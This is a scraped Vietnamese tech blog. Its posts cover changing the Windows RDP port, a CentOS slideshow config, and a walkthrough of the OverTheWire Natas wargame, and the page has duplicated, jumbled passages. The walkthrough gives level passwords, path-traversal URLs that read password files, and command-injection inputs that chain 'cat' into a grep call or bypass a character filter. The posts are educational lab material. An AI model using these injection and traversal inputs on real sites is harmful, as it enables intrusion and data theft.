Việc thay đổi nhằm chống lại việc bruteforce vào cổng remote desktop, chống syn flood vào cổng này, chống việc tấn công vào các lỗ hổng dịch vụ này của windows( ms12-020,...),...
Chúng ta sẽ sử dụng những port cao để hacker khó có thể dò ra đuợc( ví dụ 9000), port mặc định của dịch vụ này là 3389
Chú ý : Nếu bạn thực hiện việc đổi port này trên máy chủ(VPS) khi bạn đang remote từ máy client tới máy chủ sử dụng service remote desktop của windows thì phải làm đúng thứ tứ các bước này nếu không muốn đang làm bị out ra khỏi máy chủ(VPS)
1. Tìm đến khóa:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber
Chọn Decimal sau đó gõ 9000 thay cho port hiệnt tại. Thoát registry
2. Tạo luật cho firewall accept cổng này( nếu firewall của bạn đang để on), bạn có thể gõ trực tiếp lệnh sau vào command của windows( nếu là windown 7 hoặc server 2008)
netsh advfirewall firewall add rule name="remote desktop" protocolol=TCP enable=yes dir=in localport=9000 action=allow
3. Khởi động lại máy
4. Remote vào lại bằng cách gõ thêm cổng sau ip. Ví dụ 192.168.0.1:9000.
5. Vào lại máy và disable hoặc xóa những luật remote cũ. Tới thanh Start tìm Windows Firewall with advanced Security, trong mục Inbound Rules xóa hoặc disable hết những luật có từ Remote ở đầu( chú ý chữ R viễt hoa, luật của chúng ta mới tạo là remote desktop thì để lại)
Saturday, October 26, 2013
Tạo Background Slideshow trên centOS 6
Hướng dẫn tạo Background Slideshow (ảnh Desktop thay đổi sau một thời gian) trên centOS 6:
1. Copy những file ảnh cần dùng vào /usr/share/backgrounds/cosmos dưới quyền root( ví dụ ở đây tôi đã copy file ảnh background.jpeg từ desktop vào thư mục này) command:
1. Copy những file ảnh cần dùng vào /usr/share/backgrounds/cosmos dưới quyền root( ví dụ ở đây tôi đã copy file ảnh background.jpeg từ desktop vào thư mục này) command:
cp /home/namnt/Desktop/background.jpeg /usr/share/backgrounds/cosmos/2. Chỉnh sửa file background-1.xml trong thư mục /usr/share/backgrounds/cosmos. Với file xml này bạn sẽ để ý có dạng cấu trúc của mỗi ảnh hiện tại và ảnh tiếp theo có dạng như sau :
<static>Rất đơn giản, muốn chèn ảnh background.jpeg chạy xen giữa 2 ảnh này bạn chỉ cần sửa thành:
<duration>1795.0</duration>
<file>/usr/share/backgrounds/cosmos/cloud.jpg</file>
</static>
<transition>
<duration>5.0</duration>
<from>/usr/share/backgrounds/cosmos/cloud.jpg</from>
<to>/usr/share/backgrounds/cosmos/ABSTRACT-Aurora_1280x1024.jpg</to>
</transition>
<static>
<duration>1795.0</duration>
<file>/usr/share/backgrounds/cosmos/ABSTRACT-Aurora_1280x1024.jpg</file>
</static>
<transition>
<duration>5.0</duration>
<from>/usr/share/backgrounds/cosmos/ABSTRACT-Aurora_1280x1024.jpg</from>
<to>/usr/share/backgrounds/cosmos/ABSTRACT-CrunchyBranch_1680x1050.png</to>
</transition>
<static>Lưu file này lại sau đó chuột phải vào Desktop -> Change Desktop Background, chuyển sang tab Background -> chọn slideshow bạn tạo sau đó bấm vào Make defaults
<duration>1795.0</duration>
<file>/usr/share/backgrounds/cosmos/cloud.jpg</file>
</static>
<transition>
<duration>5.0</duration>
<from>/usr/share/backgrounds/cosmos/cloud.jpg</from>
<to>/usr/share/backgrounds/cosmos/background.jpeg</to>
</transition>
<static>
<duration>1795.0</duration>
<file>/usr/share/backgrounds/cosmos/ background.jpeg</file>
</static>
<transition>
<duration>5.0</duration>
<from>/usr/share/backgrounds/cosmos/ background.jpeg</from>
<to>/usr/share/backgrounds/cosmos/AABSTRACT-Aurora_1280x1024.jpg</to>
</transition>
<static>
</static>
<transition>
<duration>5.0</duration>
<from>/usr/share/backgrounds/cosmos/ABSTRACT-Aurora_1280x1024.jpg</from>
<to>/usr/share/backgrounds/cosmos/ABSTRACT-CrunchyBranch_1680x1050.png</to>
</transition>
Monday, October 21, 2013
Sunday, October 20, 2013
Wargames : http://www.overthewire.org/wargames/natas/ lv0 -> lv5( Firefox + live http headers)
Link :
http://www.overthewire.org/wargames/natas/
User name tại mỗi lv là natasX( X là lv). Nhiệm vụ chúng ta là phải đi tìm password flag
1.Lv0->Lv1:
http://natas0.natas.labs.overthewire.org/
Password tiếp theo xuất hiện ngay tại dòng 16:
Password xuất hiện ở dòng 17:
3.Lv2->Lv3:
http://natas2.natas.labs.overthewire.org/files/
Xuất hiện file users.txt, link:
http://natas2.natas.labs.overthewire.org/files/users.txt
Nội dung file:
4.Lv3->Lv4:
Tìm ngay file này :
http://natas3.natas.labs.overthewire.org/robots.txt
Nội dung file:
http://natas3.natas.labs.overthewire.org/s3cr3t/
Thấy xuất hiện:
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
5.Lv4->Lv5:
http://natas5.natas.labs.overthewire.org
Ra trang cần tìm:
http://natas4.natas.labs.overthewire.org/index.php
Nội dung:
-> Quay lại paste cái secret tìm đuợc vào form, ra password lv 7.Next lv
8.Lv7->Lv8:
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
password:
9.Lv8->Lv9:
10.Lv9->Lv10:
11.Lv12->Lv12:
http://www.overthewire.org/wargames/natas/
User name tại mỗi lv là natasX( X là lv). Nhiệm vụ chúng ta là phải đi tìm password flag
1.Lv0->Lv1:
http://natas0.natas.labs.overthewire.org/
user: natas0, pass: natas0Bấm Ctrl+U(firefox) xem mã nguồn site
Password tiếp theo xuất hiện ngay tại dòng 16:
2.Lv1->Lv2:
http://natas1.natas.labs.overthewire.org/ user: natas0, pass: gtVrDuiDfck831PqWsLEZy5gyDz1cltoTiếp tục view source(Ctrl+U):
Password xuất hiện ở dòng 17:
(Sử dụng trên chrome khả năng sẽ bị chặn viewsource).
3.Lv2->Lv3:
http://natas2.natas.labs.overthewire.org/ user: natas2, pass: ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBiDòng 15 khả nghi...
Dòng này gợi ý ta có thể xem list một vài file tại :![]()
http://natas2.natas.labs.overthewire.org/files/
Xuất hiện file users.txt, link:
http://natas2.natas.labs.overthewire.org/files/users.txt
Nội dung file:
# username:password alice:BYNdCesZqW bob:jw2ueICLvT charlie:G5vCxkVV3m natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 eve:zo4mJWyNj2 mallory:9urtcpzBmHThấy password của natas3
4.Lv3->Lv4:
http://natas3.natas.labs.overthewire.org/ user : natas3, password: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14Dòng 15:
Gợi ý 'No more information leaks!! Not even Google will find it this time', một số site sử dụng file robots.txt để chặn google bot.
Tìm ngay file này :
http://natas3.natas.labs.overthewire.org/robots.txt
Nội dung file:
User-agent: * Disallow: /s3cr3t/Gợi ý tìm tới đuờng link:
http://natas3.natas.labs.overthewire.org/s3cr3t/
Thấy xuất hiện:
http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt
5.Lv4->Lv5:
http://natas4.natas.labs.overthewire.org user : natas4, password: Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZThông báo xuất hiện:
Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"Dòng này có nghĩa là sẽ truy cập đuợc natas4 nếu đến từ
http://natas5.natas.labs.overthewire.org/Refresh lại sử dụng live http headers chỉnh Referer thành :
http://natas5.natas.labs.overthewire.org
Ra trang cần tìm:
http://natas4.natas.labs.overthewire.org/index.php
Nội dung:
Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq6.Lv5->Lv6:
http://natas5.natas.labs.overthewire.org user : natas4, password: iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfqĐăng nhập với password cho lv5 tìm đuợc ở trên. Xuất hiện thông báo trên trang index. Sử dụng live http headers, thấy trong Cookie, biến loggedin=0 -> Set lại bằng 1 rồi replay
Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa17.Lv6->Lv7:
http://natas6.natas.labs.overthewire.org/ user : natas6, password: aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1View source( click vào link 'View sourcecode' trên index):
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is ";
} else {
print "Wrong secret";
}
}
Chú ý đoạn "includes/secret.inc", check thử file này và view source:
http://natas6.natas.labs.overthewire.org/includes/secret.inc
-> Quay lại paste cái secret tìm đuợc vào form, ra password lv 7.Next lv
8.Lv7->Lv8:
http://natas7.natas.labs.overthewire.org user : natas7, password: 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9View source:
Home AboutLỗi LFI, khai thác:
http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas_webpass/natas8
password:
9.Lv8->Lv9:
http://natas8.natas.labs.overthewire.org user : natas8, password: DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWeXem mã nguồn của trang
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is ";
} else {
print "Wrong secret";
}
}
Tìm secret để nhập vào theo thứ tự : base64_decode(strrev(hex to character($encodedSecret)))
-> secret = oubWYf2kBq.10.Lv9->Lv10:
http://natas9.natas.labs.overthewire.org user : natas9, password: W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDlSource
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
File dictionary.txt
http://natas9.natas.labs.overthewire.org/dictionary.txt
-> Command injection. Mục đích bypass dòng command
passthru("grep -i $key dictionary.txt");
Thử nhập vào input :
a
ra rất nhiều giá trị bên trong file dictionary
abc
không có kết quả trả về
Thử đọc file
../../../../etc/natas_webpass/natas10
xem có tồn tại không?. Nhập vào input giá trị:
"abc dictionary.txt;cat ../../../../etc/natas_webpass/natas10;grep -i abc "(không có " ở đầu vào cuối) -> password lv 10: nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu 11.Lv10->Lv11:
http://natas10.natas.labs.overthewire.org/index-source.html user: natas10 password:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzusource:
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
Chặn các ký tự kết thúc và gộp command(;,|, &). Bypass bằng cách nhập vào input:
" "" ../../../../etc/natas_webpass/natas11 "(Lợi dụng option của câu lệnh grep) Câu lệnh này sẽ thực hiện in toàn bộ 2 file có thể thay bằng
" -A 1 "" ../../../../etc/natas_webpass/natas11 "password: U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
11.Lv12->Lv12:
http://natas11.natas.labs.overthewire.org user : natas11 password:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
Note site:
http://ctftime.org
http://www.vnsecurity.net/about-us/clgt-ctf-team/
https://www.thc.org/
bkitsec.wordpress.com/
CentOS :
http://www.server-world.info/en/note?os=CentOS_6&p=initial_conf&f=6
Ollydbg tutorial:
http://thelegendofrandom.com/blog/sample-page
... tiếp tục cập nhật
http://www.vnsecurity.net/about-us/clgt-ctf-team/
https://www.thc.org/
bkitsec.wordpress.com/
CentOS :
http://www.server-world.info/en/note?os=CentOS_6&p=initial_conf&f=6
Ollydbg tutorial:
http://thelegendofrandom.com/blog/sample-page
... tiếp tục cập nhật
Hướng dẫn thêm syntax highlighting vào blogger.com
Buớc 1: Vào admin page, tìm đến template của bạ.
Bước 2: Click vào edit HTML
Bước 3: Tìm </head> tag
Bước 5: Copy đoạn mã sau :
Bước 6: Paste đoạn code vừa rồi truớc thẻ </head> vừa tìm được
Bước 7: Click vào save template, sau đó bấm close
Bước 8 : Tạo bài viết mới, khi muốn chèn code chuyển sang mode html( mặc định ở mode compose), sau đó thêm đoạn mã vào giữa thẻ:
publish và thử xem thành quả
Nguồn :
Bước 2: Click vào edit HTML
Bước 3: Tìm </head> tag
Bước 5: Copy đoạn mã sau :
Bước 6: Paste đoạn code vừa rồi truớc thẻ </head> vừa tìm được
Bước 7: Click vào save template, sau đó bấm close
Bước 8 : Tạo bài viết mới, khi muốn chèn code chuyển sang mode html( mặc định ở mode compose), sau đó thêm đoạn mã vào giữa thẻ:
<pre class="brush:php;"> //code ở đây </pre>
Ví dụ:
<pre class="brush:php;">
$example = range(0, 9);
foreach ($example as $value)
{
echo $value;
}
</pre>
Nguồn :
_http://oneqonea.blogspot.com/2012/04/how-do-i-add-syntax-highlighting-to-my.html
Tuesday, October 15, 2013
Một số wargame về web hacking
Note: Một số wargame về web hacking:
http://quaivatit.com/chap_1/
http://peternguyen.altervista.org/
http://www.overthewire.org/wargames/natas/
....
sẽ tiếp tục cập nhật
http://quaivatit.com/chap_1/
http://peternguyen.altervista.org/
http://www.overthewire.org/wargames/natas/
....
sẽ tiếp tục cập nhật
Subscribe to:
Comments (Atom)
